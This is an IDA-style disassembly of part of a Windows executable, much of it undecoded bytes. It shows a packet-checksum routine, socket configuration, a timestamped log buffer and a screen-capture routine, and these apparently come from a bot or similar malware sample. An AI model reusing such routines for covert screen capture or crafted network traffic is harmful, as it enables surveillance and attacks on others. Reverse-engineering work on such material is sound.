		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 43B67468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h
		dd 0E8535959h, 22DBC88h
		db 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A5
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414397:				; CODE XREF: ___:0041439Fj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414397
		pop	edi
		cmp	eax, 1


loc_4143A5:				; CODE XREF: ___:0041438Bj
		jnz	short loc_4143B2
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_4143B2:				; CODE XREF: ___:loc_4143A5j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_4143CB	db 55h			; DATA XREF: sub_401ACD+6D49o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 737Dh, 858D5059h, 0FFFFFE70h, 6415FF50h, 50004D08h
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 0B7A068FFh, 0E8500043h
		dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh
		dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 6F98E8F0h, 5959FFFFh, 7DE89056h, 55022DBBh, 0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270A8h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 8A415FFh, 4589004Dh, 50D6FFF8h
		dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h
		dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 31E89000h, 2B0228C6h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4D3FD81Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 707Ch, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4D07C8h, 0FF68h, 0E8016A00h,	4150h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	432E7068h
		dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh,	0B868FFFFh
		dd 50004D39h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4D0864h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4D0824h, 0AE458966h, 7345E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h,	66000073h
		dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h
		dd 7301E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 0D0E8E890h, 89667169h, 0FFFF5E85h,	60858DFFh
		dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4D088815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 8BC15FFh, 458B004Dh,	5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_4146CE	dw 8B55h		; DATA XREF: sub_401ACD+4CBFo
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	43B7D4h, 7160E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h,	0C483FFFFh
		dd 0E8006A14h, 22DB8BCh, 0EC8B5590h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4D08A415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 43B9C4h, 710CE850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4D0804h, 75FFF883h, 0B815FF0Eh
		dd 50004D07h, 43B97468h, 8D1BEB00h, 0FF500C45h,	4D086415h
		dd 0FFF88300h, 15FF2075h, 4D07B8h, 0B9306850h, 858D0043h
		dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 2415FF00h,	66004D08h, 8DDE4589h, 0E8500C45h
		dd 7169CB00h, 0A8358B90h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 0B90468FFh, 0E8500043h, 706Ah
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4D3FD83Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4D07C8h, 0E8016A53h, 3DD4h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	2E7068ACh
		dd 0E8500043h, 6FB6h, 0EB18C483h, 0AC458D10h, 4D39B868h
		dd 0CDE85000h, 59000075h, 5C65659h, 4D3BB8h, 2415FF45h
		dd 66004D08h, 4D3BBAA3h, 0AC458D00h, 5C76650h, 4D3BBCh
		dd 89660001h, 4D3BBE3Dh, 0C005C600h, 80004D3Bh,	3BC105C6h
		dd 6611004Dh, 3BC23D89h, 15FF004Dh, 4D0864h, 4D3BC4A3h
		dd 0E0458B00h, 4D3BC8A3h, 8C858D00h, 50000000h,	0D23D8966h
		dd 0E8004D3Bh, 6E31h, 7559C085h, 6F90E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6E10E8h, 0FF505900h
		dd 4D082415h, 0CEA36600h, 0E8004D3Bh, 6F66h, 401B999h
		dd 8680000h, 0F7000004h, 158966F9h, 4D3BCCh, 82415FFh
		dd 68004Dh, 66000004h, 4D3BD0A3h, 6F3CE800h, 0F7990000h
		dd 0D46852FBh, 0E8004D3Bh, 6BDCh, 8D0CC483h, 106ADC45h
		dd 68565750h, 4D3BB8h, 0FFF475FFh, 4D088815h, 0FFF88300h
		dd 0A5840Fh, 45FF0000h,	35E890FCh, 2B0228C1h, 0D233F845h
		dd 3E8B9h, 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 0BC15FFF4h, 8B004D08h, 858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6D59h, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 43B8A068h
		dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4D07B815h, 458D5000h, 1468500Ch,	0EB0043B8h
		db 0ACh
byte_414A91	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6361o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h
		dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4D086415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 0B9F068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h,	0FFFFFBECh
		dd 67AE850h, 75FF0000h,	68D8E8F0h, 5959FFFFh, 0BDE89056h
		dd 5F022DB4h
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6E
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 71AB3E5Dh
		nop
		jmp	loc_414C2A
; ---------------------------------------------------------------------------


loc_414B6E:				; CODE XREF: ___:00414B58j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4D07CC
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4D080C
		test	eax, eax
		jnz	short loc_414BD2
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------


loc_414BD2:				; CODE XREF: ___:00414BCBj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDD


loc_414BD9:				; CODE XREF: ___:00414BFDj
					; ___:00414C21j
		mov	eax, edi
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------


loc_414BDD:				; CODE XREF: ___:00414BD7j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414BFF
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BD9


loc_414BFF:				; CODE XREF: ___:00414BECj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_414BD9
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_414C2A:				; CODE XREF: ___:00414B69j
					; ___:00414BD0j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh,	6AEC4D8Dh
		dd 26A5104h, 48A35053h,	0FF004D40h, 4D080415h, 0A8358B00h
		dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h,	0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 2415FF50h
		dd 53004D08h, 26A016Ah,	66858966h, 0FFFFFFFFh, 4D08A415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 8BC15FFh, 5D39004Dh
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 404CBF83h, 3C68004Dh, 57004323h, 6A85E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 1C685750h, 570043BAh, 0E8F04589h,	6A46h
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h
		dd 4D082415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4D3FE8h, 6717E8h, 0FFFFBE00h
		dd 5C60000h, 4D3FE8h, 685645h, 0C6000004h, 4D3FF105h, 5C60600h
		dd 4D3FE9h, 37E6E808h, 0C4830000h, 15FF5014h, 4D0824h
		dd 0A366286Ah, 4D3FECh,	82415FFh, 0D80004Dh, 4D3FF0h, 0D81D39FFh
		dd 66004D3Fh, 4D3FEAA3h, 1D896600h, 4D3FEEh, 0FE681A75h
		dd 6A0000FFh, 37A6E801h, 59590000h, 0C1084D8Bh,	0CE2310E0h
		dd 0BEBC10Bh, 4D39B868h, 6415FF00h, 0A3004D08h,	4D3FF4h
		dd 6808458Bh, 4000h, 4D3FF8A3h,	91D8800h, 0FF004D40h, 4D082415h
		dd 66535600h, 4D400AA3h, 3762E800h, 0F88B0000h,	0E7C15356h
		dd 3756E808h, 0C4830000h, 57F80310h, 82015FFh, 0A3004Dh
		dd 0A0004D40h, 4D4008h,	24087D8Bh, 6A500C0Fh, 4008A214h
		dd 8B66004Dh, 1D89F045h, 4D4004h, 0E1D8966h, 66004D40h
		dd 4D3FFEA3h, 243D8900h, 88004D40h, 4D40281Dh, 2905C600h
		dd 6004D40h, 82415FFh, 0A366004Dh, 4D402Ah, 3FFEA166h
		dd 0C766004Dh, 4D401005h, 89000200h, 4D40143Dh,	12A36600h
		dd 89004D40h, 5EBFC5Dh,	0FFFFBEh, 0FC5D3900h, 53562F75h
		dd 36CBE8h, 50595900h, 82415FFh, 0A366004Dh, 4D3FFCh, 4D3FF4A1h
		dd 4020A300h, 5C6004Dh,	4D4009h, 41D8902h, 0EB004D40h
		dd 0C653561Fh, 4D400905h, 95E81000h, 59000036h,	15FF5059h
		dd 4D0824h, 0A3C0B70Fh,	4D4004h, 0EC05FF66h, 0FF004D3Fh
		dd 4D400005h, 0FEA16600h, 6A004D3Fh, 0FCBE5905h, 0BF004D3Fh
		dd 4D402Ch, 0F21D8966h,	66004D3Fh, 400C1D89h, 146A004Dh
		dd 0E8BEA5F3h, 66004D3Fh, 4D4012A3h, 25E85600h,	6AFFFF5Ch
		dd 40206820h, 0A366004Dh, 4D3FF2h, 0FF5C13E8h, 10C483FFh
		dd 400CA366h, 106A004Dh, 4D401068h, 286A5300h, 4835FF56h
		dd 0FF004D40h, 4D088815h, 0FC45FF00h, 0FFFC7D81h, 0F000003h
		dd 0FFFF238Ch, 0BA8AE8FFh, 2B900228h, 0D233F445h, 3E8B9h
		dd 3BF1F700h, 0E770C45h, 901075FFh, 26BD81E8h, 0FDC2E902h
		dd 5E5FFFFFh, 4D404CB8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B4	proc near		; CODE XREF: sub_401ACD+71FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_4429E0
		mov	edi, 0B8h


loc_4150C8:				; CODE XREF: sub_4150B4+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EB
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EB
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_443560
		jl	short loc_4150C8
		jmp	short loc_41512D
; ---------------------------------------------------------------------------


loc_4150EB:				; CODE XREF: sub_4150B4+17j
					; sub_4150B4+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_4429E0[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_4429F8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_42AE54
		pop	ebx


loc_41512D:				; CODE XREF: sub_4150B4+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415134	proc near		; CODE XREF: sub_401ACD+28DDp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_43BA38
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_4429E0


loc_41515E:				; CODE XREF: sub_415134+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415199
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_43BA24
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch


loc_415199:				; CODE XREF: sub_415134+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_443560
		jl	short loc_41515E
		pop	edi
		pop	esi
		leave
		retn
sub_415134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AC	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	near ptr 2790000h
		nop
		mov	ebx, offset dword_4D844C
		mov	edi, 80h
		mov	esi, offset dword_4D444C


loc_4151CE:				; CODE XREF: sub_4151AC+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E5
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4151E5:				; CODE XREF: sub_4151AC+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CE
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415220	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		leave
		retn
sub_415220	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524C	proc near		; CODE XREF: sub_401ACD+27D4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4D444C
		xor	ecx, ecx


loc_415253:				; CODE XREF: sub_41524C+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D844C
		jl	short loc_415253
		cmp	[esp+arg_C], ecx
		jnz	short loc_415281
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_43BA84
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_415281:				; CODE XREF: sub_41524C+19j
		push	offset dword_43BA70
		call	sub_4151AC
		pop	ecx
		retn
sub_41524C	endp

; ---------------------------------------------------------------------------
byte_41528D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2887o
; ---------------------------------------------------------------------------
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_4152E0
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_43BAB4
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_4152E0:				; CODE XREF: ___:004152C0j
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415300
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415300
		mov	[ebp-8], eax


loc_415300:				; CODE XREF: ___:004152E7j
					; ___:004152FBj
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4D444C


loc_415309:				; CODE XREF: ___:00415361j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415363
		cmp	byte ptr [esi],	0
		jz	short loc_415352
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415338
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415338
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418086
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415352


loc_415338:				; CODE XREF: ___:0041531Dj
					; ___:00415323j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_415352:				; CODE XREF: ___:00415314j
					; ___:00415336j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D844C
		jl	short loc_415309


loc_415363:				; CODE XREF: ___:0041530Fj
		lea	eax, [ebp-31Ch]
		push	offset dword_43BA98
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539D
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_41539D:				; CODE XREF: ___:0041537Bj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 46h, 0ACh
		dd 5E5F022Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BC	proc near		; CODE XREF: sub_401ACD+734Fp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4D0810
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F0
		push	8
		push	edi
		call	dword_4D082C
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4D082C
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4D082C
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541E
		push	18h
		push	edi
		call	dword_4D082C
		mov	ebx, 100h
		jmp	short loc_415420
; ---------------------------------------------------------------------------


loc_41541E:				; CODE XREF: sub_4153BC+50j
		xor	ebx, ebx


loc_415420:				; CODE XREF: sub_4153BC+60j
		push	edi
		call	dword_4D0870
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D5
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4D0868
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E0
		push	eax
		push	[ebp+var_4]
		call	dword_4D06F4
		cmp	eax, esi
		jz	loc_4155E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E0
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4D086C
